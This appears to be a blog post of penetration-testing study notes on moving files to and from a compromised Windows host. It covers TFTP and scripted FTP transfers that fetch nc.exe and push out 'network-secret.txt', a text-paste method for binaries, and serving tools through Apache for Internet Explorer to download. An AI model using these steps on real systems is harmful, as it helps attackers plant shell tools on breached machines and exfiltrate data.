File Transfer

Transferring Files

8.1 The Non-interactive Shell* DON’T RUN INTERACTIVE PROGRAMS (e.g. FTP without -s switch) USING A REMOTE SHELL.

8.2 Uploading Files


Start Daemon:

atftpd –daemon –port 69 /tmp/

Transfer files using the “i” switch:

tftp -i GET nc.exe
tftp -i PUT network-secret.txt

FTP (using “s” switch)

use “s” switch to make FTP take all its input from a file instead:

echo open >> ftp.txt
echo username >> ftp.txt
echo password >> ftp.txt
echo bin >> ftp.txt
echo GET nc.exe >> ftp.txt
echo bye >> ftp.txt
ftp -s:ftp.txt

Inline Transfers (Copy and Paste in the shell itself)

Prepare the file to be copied:

upx -9 nc.exe        (Compress)
cd /pentest/windows-binaries/tools/
wine exe2bat.exe nc.exe nc.txt      (Convert to Text)

Copy the Contents of the text file using a text editor (e.g. Kate)

Paste the contents in the remote shell (last line if it shows an error, change the path accordingly)

run the file and test.

Using Internet Explorer:

1. run the apche Server on your machine

/etc/init.d/apache2 start

2. Copy the file(s) to the web root:

cp * /var/www/

3. Gain remote shell

4. go to Internet Explorer Directory

cd Program Files\Internet Explorer

5. run the Internet Explorer

start iexplore.exe

6. change extension back to .exe


Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s